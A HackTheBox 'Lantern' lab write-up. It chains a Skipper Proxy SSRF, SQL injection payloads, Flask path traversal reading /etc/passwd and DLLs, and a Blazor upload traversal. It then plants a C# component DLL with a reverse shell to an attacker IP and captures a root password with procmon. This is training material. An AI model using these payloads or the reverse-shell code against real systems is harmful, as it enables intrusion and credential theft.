HackTheBox Lantern
Writeup for HackTheBox Lantern
Machine Synopsis
Key Exploitation Techniques
- Server-Side Request Forgery (SSRF) via Skipper Proxy vulnerability
- Blazor application security bypass through client-side JavaScript modification
- Arbitrary file read via path traversal in Flask application
- DLL injection in .NET Blazor components for Remote Code Execution
- Process monitoring and keystroke capture using procmon with elevated privileges
Enumeration
Port Scanning
1
2
3
4
5
➜ Lantern sudo nmap -p- --min-rate 1000 10.10.11.29
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ Lantern sudo nmap -sV -sC -n -Pn -p22,80,3000 10.10.11.29
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Golang net/http server
|_http-title: Did not follow redirect to http://lantern.htb/
...
3000/tcp open http Microsoft Kestrel httpd
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Kestrel
Web Application Discovery
After adding lantern.htb
to /etc/hosts
, directory enumeration revealed:
Port 80 (Main Site):
Port 3000 (Internal Application):
Initial Access
SSRF Exploitation via Skipper Proxy
Research revealed Skipper Proxy is vulnerable to Server-Side Request Forgery (CVE-2021-36220). The vulnerability allows arbitrary internal service access via the X-Skipper-Proxy
header:
1
2
3
GET / HTTP/1.1
Host: lantern.htb
X-Skipper-Proxy: http://127.0.0.1:3000
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
<head>
...
<!--Blazor:{"sequence":1,"type":"server","prerenderId":"6549004861474a8285be468e52840aaf","descriptor":"CfDJ8ANjHdjvMd9BlPx4DkdnUo0JU9IPRsSJqnZ4KjG9H8HfagjcMYEP81AJqLMKx0kxBmo2lI7xk5Ag\u002B\u002BZOjKLqWJAjLf5vNOtGnLDQbXpWIJ/YF2PrG9P31ZC92ZHC\u002BlkH1bDvs84gXSKU2uCLPLKtRZMWGwx9IXGsNLGHrSWVxwPVTF33LkWleY0xvmDDhDEZWuvrAw6A0Relkb2Dyo37hazLbgWOc46L0hGmt6ThRDbi/l8AghvjsmtWWYiKpYD/3Sg\u002BIeY\u002BeuqTUeb5OWcE2JCZXxILaAplUoghOH2CX4HhjrL40FPvk5HMo\u002B2GNDDTboWfQKkjWrKIIpFKJAnY1B5KULPPGZjyiYHJDwEdja/PdsidHj4jpzypdbQayFr6qF2v2unIF/ymo\u002B7b8EyKPBnZCGXBCAIZmErklKSdpMid"}--><!--Blazor:{"prerenderId":"6549004861474a8285be468e52840aaf"}-->
</head>
<body>
<!--Blazor:{"sequence":0,"type":"server","descriptor":"CfDJ8ANjHdjvMd9BlPx4DkdnUo01L1F0rAKOqGqJvYfQkm2zgGMZ3zfOxsCQIMN9qwyGRc/btYiDPoK0Ry7xg0MFAjrwaWJMaiaHJzZJcfYPocw\u002Be3QoUN3vMxR8IrzrLwNUg5ZuUkhk7v3cdJDDYx5hKOyu4gYwEb0XB8s130jhzfkNoHCItpf\u002BxomAvPyhgJbDOQPA8oEIYrBX5keGeBa2\u002Bsw9lMdZz6qXSoOdLN22ygrOe8F/05IpEx90qhZ4JDCzZObhK\u002BiUZCFX/1iJZBeegSbvKMyx56X5VZPrFrCpOeUtESPMwfJBM0xyow1vi7ueVwg06UwWbt630WTrqFFmKUvek1X67\u002BllkwUBOqSd6l/w"}-->
<div id="blazor-error-ui">
An unhandled exception has occurred. See browser dev tools for details.
...
</body>
Internal Service Discovery
Using the SSRF to enumerate internal services:
1
2
3
4
5
➜ Lantern wfuzz -c --sc=200 -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -z range,1-65535
000000080: 200 224 L 836 W 12049 Ch "80"
000003000: 200 57 L 117 W 2854 Ch "3000"
000005000: 200 49 L 123 W 1669 Ch "5000"
000008000: 200 224 L 836 W 12049 Ch "8000"
Getting Admin Password
Download header editor to add the header (x-skipper-proxy: http://127.0.0.1:5000) to each request.
Navigating to http://lantern.htb with the header editor reveals a internal lantern dashboard
It looks like a HR app. The “Add Employee” form works. The add employee form seems robust against SQL injection, as each of the fields just show strings with single and double quotes in them.
The “Book Vacation” tab has a form for that on entering an ID and clicking “Search”, it returns if that’s valid. However, the search in the vacation form seems vulnerable to SQLi.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload: ' union select 1,2,3-- -
returns Name: 2, Second Name: 3
payload 'union select 1,sqlite_version(),3-- -
returns Name: 3.37.2, Second Name: 3
payload 'union select 1,count(sql),3 from sqlite_schema-- -
returns Name: 2, Second Name: 3
payload 'union select 1,group_concat(sql),3 from sqlite_schema-- -
returns Name: CREATE TABLE "Employees" ( "Id" INTEGER NOT NULL CONSTRAINT "PK_Employees" PRIMARY KEY AUTOINCREMENT, "Uid" TEXT NULL, "Name" TEXT NULL, "SecondName" TEXT NULL, "BirthDay" TEXT NULL, "JoinDate" TEXT NULL, "Salary" INTEGER NOT NULL, "VacationsStart" TEXT NULL, "VacationsEnd" TEXT NULL, "InternalInfo" TEXT NULL ),CREATE TABLE sqlite_sequence(name,seq), Second Name: 3
payload 'union select 1,group_concat(id),3 from Employees-- -
returns Name: 1,2,3,4,5,6,7, Second Name: 3
payload 'union select 1,group_concat(internalinfo),3 from Employees-- -
returns Name: Head of sales department, emergency contact: +4412345678, email: john.s@example.com,HR, emergency contact: +4412345678, email: anny.t@example.com,FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com,PR, emergency contact: +4412345678, email: lara.s@example.com,Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com,System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!,<scri
Alternative way to get admin password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
➜ Lantern curl -H "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<title>InternaLantern</title>
<base />
<script type="text/javascript">
(function (l) {
if (l.search[1] === '/') {
var decoded = l.search.slice(1).split('&').map(function (s) {
return s.replace(/~and~/g, '&')
}).join('?');
window.history.replaceState(null, null,
l.pathname.slice(0, -1) + decoded + l.hash
);
}
}(window.location))
</script>
<script>
var path = window.location.pathname.split('/');
var base = document.getElementsByTagName('base')[0];
if (window.location.host.includes('localhost')) {
base.setAttribute('href', '/');
} else if (path.length > 2) {
base.setAttribute('href', '/' + path[1] + '/');
} else if (path[path.length - 1].length != 0) {
window.location.replace(window.location.origin + window.location.pathname + '/' + window.location.search);
}
</script>
<link href="css/bootstrap/bootstrap.min.css" rel="stylesheet" />
<link href="css/app.css" rel="stylesheet" />
</head>
<body>
<div id="app">Loading...</div>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">🗙</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
</body>
</html>
1
➜ Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.webassembly.js
Within the js file, we find another local js file referenced. Lets download that file.
1
2
3
4
5
6
➜ Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.boot.json
➜ Lantern cat blazor.boot.json
...
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
...
1
➜ Lantern wget --header="X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
➜ Lantern wget https://github.com/mandiant/flare-floss/releases/download/v3.1.1/floss-v3.1.1-linux.zip
➜ Lantern unzip floss-v3.1.1-linux.zip
➜ Lantern ./floss InternaLantern.dll
WARNING: floss: .NET language-specific string extraction is not supported yet
WARNING: floss: FLOSS does NOT attempt to deobfuscate any strings from .NET binaries
Do you want to enable string deobfuscation? (this could take a long time) [y/N]
INFO: floss: disabled string deobfuscation
INFO: floss: extracting static strings
INFO: floss: finished execution after 14.02 seconds
INFO: floss: rendering results
...
./dbstorage.js
synchronizeFileWithIndexedDb
Data.db
JFMDK
John
Smith
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
PPAOS
Anny
Turner
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
UAYWP
Catherine
Rivas
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
GMNZQ
Lara
Snyder
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
XZCSF
Lila
Steele
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
POMBS
Travis
Duarte
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
SELECT Id, Name, SecondName FROM employees WHERE Uid = '
Name:
, Second Name:
Employee not found!
...
1
2
➜ Lantern echo 'U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=' | base64 -d
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!%
Blazor Admin Dashboard Access
The extracted credentials provided access to the Blazor admin dashboard on port 3000, revealing several administrative functions:
- Files: Source code browser for the main application
- Upload Content: File upload to
/var/www/sites/lantern.htb/static/images
- Health Check: SSRF-capable service checker
- Logs: Application access logs
- Choose Module: DLL loader from
/opt/components/
Foothold Development
Source Code Analysis
Through the Files section, I discovered the main application’s Flask source code (app.py
), revealing a critical path traversal vulnerability:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
...
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
Arbitrary File Read Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Reading system files via path traversal
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../etc/passwd'
...
root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
# recall that the modules are loaded in /opt/components/
# Extracting DLL modules for reverse engineering
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/FileUpload.dll' -o FileUpload.dll
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/FileTree.dll' -o FileTree.dll
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/Logs.dll' -o Logs.dll
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/HealthCheck.dll' -o HealthCheck.dll
➜ Lantern curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/Resumes.dll' -o Resumes.dll
Achieving Remote Code Execution
The exploitation chain required three components:
- Arbitrary File Write: Upload functionality to
/var/www/sites/lantern.htb/static/images
- Path Traversal: Bypass upload directory restrictions via JavaScript modification
- DLL Execution: Module loader functionality in the admin dashboard
Blazor Client-Side Bypass
I modified the client-side Blazor JavaScript (blazor.server.js
) using Firefox’s Script Override feature to perform path traversal during file uploads:
1
2
3
4
5
6
7
8
9
10
11
// Modified portion of blazor.server.js
const n = {
id: ++t._blazorInputFileNextFileId,
lastModified: new Date(e.lastModified).toISOString(),
name: "../../../../../../opt/components/" + e.name, // Path traversal injection
size: e.size,
contentType: e.type,
readPromise: void 0,
arrayBuffer: void 0,
blob: e
};
Malicious DLL Development
Using Visual Studio Code with C# extensions, I developed a malicious Blazor component DLL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.Net.Sockets;
using System.Text;
namespace MyHealthCheck
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder __builder)
{
__builder.OpenElement(0, "div");
__builder.OpenElement(1, "input");
__builder.AddAttribute(2, "type", "text");
__builder.AddAttribute(3, "placeholder", "Attacker IP");
__builder.CloseElement();
__builder.OpenElement(4, "button");
__builder.AddAttribute(5, "onclick", EventCallback.Factory.Create(this, () => HandleClick("10.10.14.1")));
__builder.AddContent(6, "CONNECT");
__builder.CloseElement();
__builder.CloseElement();
}
private void HandleClick(string ip) {
// TCP reverse shell implementation
TcpClient client = new TcpClient(ip, 4444);
NetworkStream stream = client.GetStream();
// ... reverse shell code
}
}
}
Exploitation Execution
- Setup Listener:
nc -lvnp 4444
- Upload Malicious DLL: Via modified Upload Content with path traversal
- Load Module: Using Choose Module widget to execute the DLL
- Trigger Payload: Click the CONNECT button in the loaded component
Result: Reverse shell as user tomas
User Flag
The reverse shell connected directly as the tomas
user, allowing immediate access to the user flag:
1
cat /home/tomas/user.txt
Privilege Escalation
SSH Key Extraction
1
2
3
4
5
6
# Extract existing SSH private key
cat /home/tomas/.ssh/id_rsa
# Setup SSH access from attacker machine
chmod 600 ./id_rsa
ssh -i ./id_rsa tomas@$RADDR
System Mail Analysis
Upon SSH connection, the system indicated new mail. Reading /var/mail/tomas
revealed:
1
2
3
4
5
6
Hi Tomas,
Our admin is currently automating processes on the server. Before global testing,
could you check out his work in /root/automation.sh? Your insights will be valuable.
Best.
Sudo Privileges Investigation
1
2
sudo -l
# Output: (ALL : ALL) NOPASSWD: /usr/bin/procmon
The tomas
user had sudo access to /usr/bin/procmon
, a process monitoring tool capable of capturing system calls with strace
-like functionality.
Process Monitoring Strategy
Identifying the target process for monitoring:
1
2
ps aux | grep root
# Found: root 6992 /bin/bash /root/automation.sh
Keystroke Capture via procmon
1
2
# Monitor the automation script process
sudo /usr/bin/procmon -p 6992
After collecting process data and exporting to SQLite format, I analyzed the write
system calls to reconstruct keystrokes:
1
2
3
4
5
6
7
8
9
10
11
SELECT
resultcode,
syscall,
arguments,
substr(rtrim(substr(arguments,9,2), '['), -1, 1) as character
FROM ebpf
WHERE
syscall LIKE "write" AND
resultcode > 0 AND
resultcode < 3
ORDER BY timestamp ASC
Reconstructed Command:
1
echo Q3Eddtdw3pMB | sudo ./backup.sh
The captured keystrokes revealed the root password: Q3Eddtdw3pMB
Root Flag
1
2
su root # Password: Q3Eddtdw3pMB
cat /root/root.txt